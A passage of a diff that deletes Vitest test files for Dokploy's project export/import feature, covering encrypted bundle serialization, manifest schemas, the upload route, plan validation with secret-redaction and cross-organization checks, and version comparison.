composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
};
const secretsPlain = new Map([
["11111111-1111-1111-1111-111111111111", "realdbpassword"],
]);
describe("serialize", () => {
it("keeps only the public files in clear and encrypts everything else", async () => {
await mkdir(join(workDir, "dumps"), { recursive: true });
await writeFile(join(workDir, "dumps", "pg-1.sql.gz"), "fake-dump-bytes");
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
baseInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
expect(existsSync(bundlePath)).toBe(true);
expect(existsSync(workDir)).toBe(false);
const { stdout: members } = await execAsync(`tar -tzf "${bundlePath}"`);
expect(members.split("\n")[0]).toBe("manifest.json");
const extractDir = join(outDir, "extracted");
await mkdir(extractDir, { recursive: true });
await execAsync(`tar -xzf "${bundlePath}" -C "${extractDir}"`);
expect((await readdir(extractDir)).sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const outerBytes = await readFile(join(extractDir, "payload.enc"));
expect(outerBytes.includes("realdbpassword")).toBe(false);
expect(outerBytes.includes("fake-dump-bytes")).toBe(false);
const manifest = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const { kEnc } = await deriveKeys(PASSPHRASE, manifest.crypto.salt);
const payloadDir = join(outDir, "payload");
await mkdir(payloadDir, { recursive: true });
await pipeline(
createReadStream(join(extractDir, "payload.enc")),
gcmDecryptStream(kEnc),
createWriteStream(join(outDir, "payload.tar.gz")),
);
await execAsync(
`tar -xzf "${join(outDir, "payload.tar.gz")}" -C "${payloadDir}"`,
);
const servicesJson = await readFile(
join(payloadDir, "resources", "services.json"),
"utf8",
);
expect(servicesJson).not.toContain("realdbpassword");
expect(servicesJson).toContain(
"$secret:11111111-1111-1111-1111-111111111111",
);
expect(
await readFile(join(payloadDir, "dumps", "pg-1.sql.gz"), "utf8"),
).toBe("fake-dump-bytes");
const secrets = JSON.parse(
await readFile(join(payloadDir, "secrets.json"), "utf8"),
);
expect(secrets["11111111-1111-1111-1111-111111111111"]).toBe(
"realdbpassword",
);
});
it("removes workDir even when writing fails", async () => {
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
const badInput: SerializeInput = {
...baseInput,
resources: {
...baseInput.resources,
project: { self: undefined as unknown },
},
};
(badInput.resources.project as Record<string, unknown>).self =
badInput.resources.project;
await expect(
serialize(
badInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
),
).rejects.toThrow();
expect(existsSync(workDir)).toBe(false);
});
});
@@ -1,116 +0,0 @@
import { serviceType } from "@dokploy/server/db/schema";
import {
manifestSchema,
requirementSchema,
serviceTypeSchema,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const validManifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: new Date().toISOString(),
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "a2V5Y2hlY2s=",
},
counts: { application: 1 },
};
describe("transfer types", () => {
it("accepts a valid manifest", () => {
expect(manifestSchema.safeParse(validManifest).success).toBe(true);
});
it("accepts a structurally-valid manifest with a future formatVersion (rejecting it is migrateManifest's job, not the schema's)", () => {
const result = manifestSchema.safeParse({
...validManifest,
formatVersion: 2,
});
expect(result.success).toBe(true);
});
it("rejects a formatVersion that isn't a positive integer", () => {
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 0 }).success,
).toBe(false);
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 1.5 })
.success,
).toBe(false);
});
it("rejects a Requirement with an unknown kind", () => {
const result = requirementSchema.safeParse({
kind: "unknownKind",
originalId: null,
configIncluded: false,
usedBy: [],
});
expect(result.success).toBe(false);
});
it("accepts every real Requirement kind with its shape", () => {
const base = { originalId: "id-1", configIncluded: true, usedBy: [] };
const cases = [
{
...base,
kind: "vault",
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
},
{
...base,
kind: "gitProvider",
providerType: "github",
repositories: [{ owner: "acme", repo: "app" }],
},
{
...base,
kind: "destination",
bucket: "b",
endpoint: "e",
region: "r",
},
{
...base,
kind: "registry",
registryUrl: "r",
imagePrefix: "p",
role: ["registry"],
},
{ ...base, kind: "sshKey", publicKey: "ssh-ed25519 AAAA" },
{ ...base, kind: "network", name: "net" },
{ ...base, kind: "certificate", fingerprint: "abc123", serverId: null },
{ ...base, kind: "server", originalId: null, serverId: null },
];
for (const testCase of cases) {
expect(
requirementSchema.safeParse(testCase).success,
`kind ${testCase.kind} should be valid`,
).toBe(true);
}
});
it("keeps serviceTypeSchema in sync with the serviceType DB enum", () => {
expect([...serviceTypeSchema.options].sort()).toEqual(
[...serviceType.enumValues].sort(),
);
});
});
@@ -1,411 +0,0 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
let transferPathToReturn = "";
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { maxUploadBytesBox, remoteBox } = vi.hoisted(() => ({
maxUploadBytesBox: { value: 10 * 1024 * 1024 * 1024 },
remoteBox: {
commands: [] as string[],
received: [] as Buffer[],
stdin: undefined as undefined | { destroyed: boolean },
exitCode: null as number | null,
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (!serverId) return actual.openProcessStream(serverId, command);
remoteBox.commands.push(command);
const stdin = new Pass();
const stdout = new Pass();
const stderr = new Pass();
remoteBox.stdin = stdin;
stdin.on("data", (chunk: Buffer) => remoteBox.received.push(chunk));
const failWith = remoteBox.exitCode;
const exit =
failWith === null
? new Promise<number>((resolve) => {
stdin.on("finish", () => resolve(0));
stdin.on("close", () => resolve(0));
})
: Promise.resolve(failWith);
return {
stdin,
stdout,
stderr,
exit,
close: () => stdin.destroy(),
};
},
};
},
);
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationServerId: vi.fn(
async (serverId: string | undefined, organizationId: string) => {
if (!serverId) return null;
if (serverId === "server-1" && organizationId === "org-1") {
return "server-1";
}
throw new Error("Server not found");
},
),
get TRANSFER_MAX_UPLOAD_BYTES() {
return maxUploadBytesBox.value;
},
};
},
);
vi.mock("@dokploy/server/constants", async (importOriginal) => {
const actual =
await importOriginal<typeof import("@dokploy/server/constants")>();
return {
...actual,
paths: (isServer?: boolean) => ({
...actual.paths(isServer),
PROJECT_EXPORT_IMPORT_PATH: transferPathToReturn,
}),
};
});
const { getImportJob } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/upload"))
.default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-upload-route-"));
transferPathToReturn = root;
maxUploadBytesBox.value = 10 * 1024 * 1024 * 1024;
remoteBox.exitCode = null;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
} & PassThrough;
stream.statusCode = 200;
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
return stream;
};
const buildMultipartReq = (
fileContent: Buffer,
fileName = "bundle.dokploy.tar.gz",
) => {
const boundary = "----dokployTestBoundary";
const head = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="bundle"; filename="${fileName}"\r\nContent-Type: application/gzip\r\n\r\n`,
);
const tail = Buffer.from(`\r\n--${boundary}--\r\n`);
const body = Buffer.concat([head, fileContent, tail]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
const buildTwoFileMultipartReq = (first: Buffer, second: Buffer) => {
const boundary = "----dokployTestBoundary";
const part = (name: string, content: Buffer) =>
Buffer.concat([
Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="${name}"; filename="${name}.tar.gz"\r\nContent-Type: application/gzip\r\n\r\n`,
),
content,
Buffer.from("\r\n"),
]);
const body = Buffer.concat([
part("bundle", first),
part("bundle2", second),
Buffer.from(`--${boundary}--\r\n`),
]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
describe("transfer upload route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildMultipartReq(Buffer.from("irrelevant"));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects non-POST methods", async () => {
const req = { method: "GET" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("streams the uploaded bundle to disk and creates an import job", async () => {
const content = Buffer.from("fake bundle bytes for the upload route test");
const req = buildMultipartReq(content);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const importId = (res.jsonBody as { importId: string }).importId;
expect(importId).toBeDefined();
const job = getImportJob(importId);
expect(job?.status).toBe("uploaded");
expect(job?.bundle?.path).toBeDefined();
const written = await readFile(job?.bundle?.path as string);
expect(written.equals(content)).toBe(true);
});
it("does not buffer the whole file into memory while receiving a large upload", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-2" },
};
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const content = Buffer.concat(Array(chunkCount).fill(chunk));
const req = buildMultipartReq(content);
const res = buildRes();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(req as any, res as any);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(res.statusCode).toBe(200);
expect(grew).toBeLessThan(content.length / 2);
});
it("rejects an upload with more than one file field instead of silently overwriting the first", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-two-files" },
};
const first = Buffer.from("first file's real content");
const second = Buffer.from("second file's content");
const req = buildTwoFileMultipartReq(first, second);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toContain(
"more than one file",
);
});
it("destroys the request instead of continuing to drain it once the size limit is hit", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-over-limit" },
};
maxUploadBytesBox.value = 10;
const req = buildMultipartReq(Buffer.alloc(1000, 9));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(413);
expect((req as unknown as PassThrough).destroyed).toBe(true);
});
});
describe("upload to a remote server", () => {
let counter = 0;
beforeEach(() => {
counter += 1;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: `remote-user-${counter}` },
};
remoteBox.commands = [];
remoteBox.received = [];
remoteBox.stdin = undefined;
});
it("streams the file into a cat process on the chosen server", async () => {
const content = Buffer.from("remote bundle bytes");
const req = buildMultipartReq(content) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "server-1" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const { importId, serverId } = res.jsonBody as {
importId: string;
serverId: string;
};
expect(serverId).toBe("server-1");
expect(Buffer.concat(remoteBox.received).equals(content)).toBe(true);
expect(remoteBox.commands.some((c) => c.includes("cat > '"))).toBe(true);
expect(getImportJob(importId)?.bundle?.serverId).toBe("server-1");
expect(existsSync(join(transferPathToReturn, importId))).toBe(false);
});
it("rejects a server outside the organization", async () => {
const req = buildMultipartReq(Buffer.from("x")) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "someone-elses-server" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect(remoteBox.commands).toHaveLength(0);
});
it("closes the remote writer when the upload has no file field", async () => {
const boundary = "----dokployTestBoundary";
const body = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="note"\r\n\r\nhello\r\n--${boundary}--\r\n`,
);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.query = { serverId: "server-1" };
stream.end(body);
const res = buildRes();
await handler(stream as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toBe(
"No file field found in the upload",
);
expect(remoteBox.stdin?.destroyed).toBe(true);
});
it("fails fast when the remote writer exits before the file arrives", async () => {
remoteBox.exitCode = 1;
const stalled = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stalled.method = "POST";
stalled.headers = {
"content-type": "multipart/form-data; boundary=----dokployTestBoundary",
};
stalled.query = { serverId: "server-1" };
const res = buildRes();
await handler(stalled as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toMatch(
/Writing the bundle on the server failed/,
);
}, 5_000);
});
@@ -1,511 +0,0 @@
import type {
Plan,
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock("@dokploy/server/services/registry", () => ({
testRegistryConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
{
command:
"printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
stderr: "Error response from daemon: login attempt failed",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/destination", () => ({
testDestinationConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
{
command:
"rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
stderr: "NoSuchBucket: The specified bucket does not exist",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/vault-provider", () => ({
testVaultProviderConnection: vi.fn(async () => {}),
}));
const { validatePlan } = await import(
"@dokploy/server/services/project-export-import"
);
const basePlan = {
target: { kind: "newProject" as const, name: "imported" },
resolutions: {
"registry:registry-src": {
requirementKey: "registry:registry-src",
action: "reuse" as const,
targetId: "registry-dest-1",
},
"destination:destination-src": {
requirementKey: "destination:destination-src",
action: "reuse" as const,
targetId: "destination-dest-1",
},
},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" as const },
portsStrategy: "keep" as const,
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
} satisfies Plan;
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const fakeDb = {
query: {
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-dest",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-dest",
}),
},
vaultProvider: { findFirst: async () => undefined },
},
} as any as TransferDb;
describe("validatePlan (T-5.4)", () => {
it("never leaks the registry password or destination secretAccessKey into a failed check's detail", async () => {
const checks = await validatePlan(fakeDb, snapshot, basePlan, "org-dest");
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).not.toContain("realregistrypass123");
expect(registryCheck?.detail).toContain("login attempt failed");
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).not.toContain("realsecretkey456");
expect(destinationCheck?.detail).toContain("bucket does not exist");
});
});
describe("validatePlan checks each appName against its own destination server (T-5.13)", () => {
it("probes two services' appNames against their own distinct destination servers, not the same one for both", async () => {
const snapshotWithTwoApps: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
kind: "application",
applicationId: "app-1",
appName: "app-one-old",
serverId: "server-src-1",
},
{
kind: "application",
applicationId: "app-2",
appName: "app-two-old",
serverId: "server-src-2",
},
],
},
requirements: [
{
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "app-one",
environmentId: "env-1",
field: "serverId",
},
],
},
{
kind: "server",
originalId: "server-src-2",
configIncluded: false,
usedBy: [
{
serviceId: "app-2",
serviceType: "application",
serviceName: "app-two",
environmentId: "env-1",
field: "serverId",
},
],
},
],
};
const planWithTwoApps: Plan = {
...basePlan,
resolutions: {},
serverMap: {
"server-src-1": "server-dest-1",
"server-src-2": "server-dest-2",
},
appNameMap: {
"app-one-old": "app-one-new",
"app-two-old": "app-two-new",
},
};
const probed: { appName: string; serverId: string | null }[] = [];
await validatePlan(
fakeDb,
snapshotWithTwoApps,
planWithTwoApps,
"org-dest",
{
checkAppNameAvailable: async (appName, serverId) => {
probed.push({ appName, serverId });
return true;
},
},
);
expect(probed).toContainEqual({
appName: "app-one-new",
serverId: "server-dest-1",
});
expect(probed).toContainEqual({
appName: "app-two-new",
serverId: "server-dest-2",
});
});
});
describe("validatePlan blocks an unresolved server requirement (T-6.9)", () => {
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
it("fails the check when the server requirement's resolution is 'skip'", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithSkippedServer: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "skip",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithSkippedServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("fails the check when the server requirement has no resolution at all", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithNoResolution: Plan = {
...basePlan,
resolutions: {},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithNoResolution,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("passes the check when the server requirement is resolved (reuse, incl. explicit local)", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planResolved: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "reuse",
targetId: "server-dest-1",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planResolved,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(true);
});
});
describe("validatePlan checks vault/registry/destination reuse targets belong to the caller's org (T-6.12)", () => {
const crossOrgDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
config: {
providerType: "hashicorp",
url: "https://vault",
token: "t",
},
organizationId: "org-OTHER",
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-OTHER",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
it("fails the registry/destination checks without ever calling the live connection test, when the resolved row belongs to another org", async () => {
const { testRegistryConnection } = await import(
"@dokploy/server/services/registry"
);
const { testDestinationConnection } = await import(
"@dokploy/server/services/destination"
);
(testRegistryConnection as any).mockClear();
(testDestinationConnection as any).mockClear();
const checks = await validatePlan(
crossOrgDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
expect(testRegistryConnection).not.toHaveBeenCalled();
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).toContain(
"Not found in this organization",
);
expect(testDestinationConnection).not.toHaveBeenCalled();
});
it("fails the vault check without calling testVaultProviderConnection, when the resolved row belongs to another org", async () => {
const { testVaultProviderConnection } = await import(
"@dokploy/server/services/vault-provider"
);
(testVaultProviderConnection as any).mockClear();
const planWithVault: Plan = {
...basePlan,
resolutions: {
"vault:vault-src": {
requirementKey: "vault:vault-src",
action: "reuse",
targetId: "vault-dest-1",
},
},
};
const checks = await validatePlan(
crossOrgDb,
snapshot,
planWithVault,
"org-dest",
);
const vaultCheck = checks.find((c) => c.check.startsWith("vault:"));
expect(vaultCheck?.ok).toBe(false);
expect(vaultCheck?.detail).toContain("Not found in this organization");
expect(testVaultProviderConnection).not.toHaveBeenCalled();
});
});
describe("validatePlan checks that each server in plan.serverMap belongs to the caller's org (T-9.3)", () => {
it("fails the check without ever calling execAsyncRemote, for a server belonging to another org", async () => {
const { execAsyncRemote } = await import(
"@dokploy/server/utils/process/execAsync"
);
(execAsyncRemote as any).mockClear();
const crossOrgServerDb = {
query: {
...(fakeDb as any).query,
server: {
findFirst: async () => ({
serverId: "server-other-org",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
const planWithServer: Plan = {
...basePlan,
resolutions: {},
serverMap: { "server-src-1": "server-other-org" },
};
const checks = await validatePlan(
crossOrgServerDb,
snapshot,
planWithServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "server:server-other-org",
);
expect(serverCheck?.ok).toBe(false);
expect(serverCheck?.detail).toContain("Not found in this organization");
expect(execAsyncRemote).not.toHaveBeenCalled();
});
});
describe("validatePlan fails the check when a reuse target no longer exists (T-9.4)", () => {
it("fails the registry check (not ok:true) when the target row doesn't exist at all", async () => {
const missingRowDb = {
query: {
...(fakeDb as any).query,
registry: { findFirst: async () => undefined },
},
} as any as TransferDb;
const checks = await validatePlan(
missingRowDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
});
});
@@ -1,179 +0,0 @@
import type {
ExportScope,
InstanceVersions,
SourceInstance,
} from "@dokploy/server/services/project-export-import";
import {
collectDockerVersions,
compareDockerVersions,
compareInstanceVersions,
isPinnedImage,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const destination: InstanceVersions = {
dokployVersion: "v0.30.6",
releaseTag: "latest",
isCloud: false,
traefikVersion: "3.6.25",
nodeVersion: "v22.0.0",
};
const source = (overrides: Partial<SourceInstance>): SourceInstance => ({
dokployVersion: "v0.30.6",
organizationId: "org-src",
releaseTag: "latest",
isCloud: false,
traefikVersion: "3.6.25",
...overrides,
});
const codesOf = (warnings: { code: string; severity: string }[]) =>
warnings.map((w) => `${w.code}:${w.severity}`);
describe("compareInstanceVersions", () => {
it("is silent when everything matches", () => {
expect(compareInstanceVersions(source({}), destination)).toEqual([]);
});
it("warns when the bundle comes from a newer Dokploy", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "v0.31.0" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:warning"]);
});
it("only informs when the bundle comes from an older Dokploy", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "v0.29.0" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
});
it("informs when versions are not comparable but differ", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "canary", releaseTag: "canary" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
expect(warnings[0]?.message).toContain("can't be compared");
});
it("flags cloud to self-hosted and traefik differences", () => {
const warnings = compareInstanceVersions(
source({ isCloud: true, traefikVersion: "3.4.0" }),
destination,
);
expect(codesOf(warnings)).toEqual([
"INSTANCE_KIND_MISMATCH:info",
"TRAEFIK_VERSION_MISMATCH:info",
]);
});
it("ignores fields an older bundle does not carry", () => {
const warnings = compareInstanceVersions(
{ dokployVersion: "v0.30.6", organizationId: "org-src" },
destination,
);
expect(warnings).toEqual([]);
});
});
describe("compareDockerVersions", () => {
it("reports a different major version", () => {
expect(compareDockerVersions("26.1.0", "27.0.1")).toContain(
"different major version",
);
});
it("accepts the same major version", () => {
expect(compareDockerVersions("27.0.1", "27.3.0")).toBeUndefined();
});
it("is silent without a source version", () => {
expect(compareDockerVersions(undefined, "27.0.1")).toBeUndefined();
});
});
describe("isPinnedImage", () => {
it.each([
["postgres:17", true],
["ghcr.io/org/app:v1.2.3", true],
["registry:5000/org/app@sha256:abc", true],
["postgres", false],
["postgres:latest", false],
["registry:5000/org/app", false],
])("%s → %s", (image, pinned) => {
expect(isPinnedImage(image)).toBe(pinned);
});
});
describe("collectDockerVersions", () => {
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
{ applicationId: "app-2", appName: "app-two", serverId: "srv-1" },
],
compose: [],
postgres: [
{ postgresId: "pg-1", appName: "pg-one", serverId: "srv-1" },
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
it("probes each distinct server once and keys local as 'local'", async () => {
const probed: (string | null)[] = [];
const versions = await collectDockerVersions(
tree as never,
scope,
async (serverId) => {
probed.push(serverId);
return serverId ? "26.1.0" : "27.0.1";
},
);
expect(probed).toEqual([null, "srv-1"]);
expect(versions).toEqual({ local: "27.0.1", "srv-1": "26.1.0" });
});
it("skips servers whose probe fails", async () => {
const versions = await collectDockerVersions(
tree as never,
scope,
async (serverId) => {
if (serverId) throw new Error("ssh down");
return "27.0.1";
},
);
expect(versions).toEqual({ local: "27.0.1" });
});
});
@@ -1,281 +0,0 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import { detectWarnings } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
mounts: [],
domains: [],
isPreviewDeploymentsActive: false,
sourceType: "github",
autoDeploy: false,
};
const baseCompose = {
composeId: "compose-1",
name: "compose-1",
appName: "compose-one",
composeFile: "services: {}",
mounts: [],
domains: [],
autoDeploy: false,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
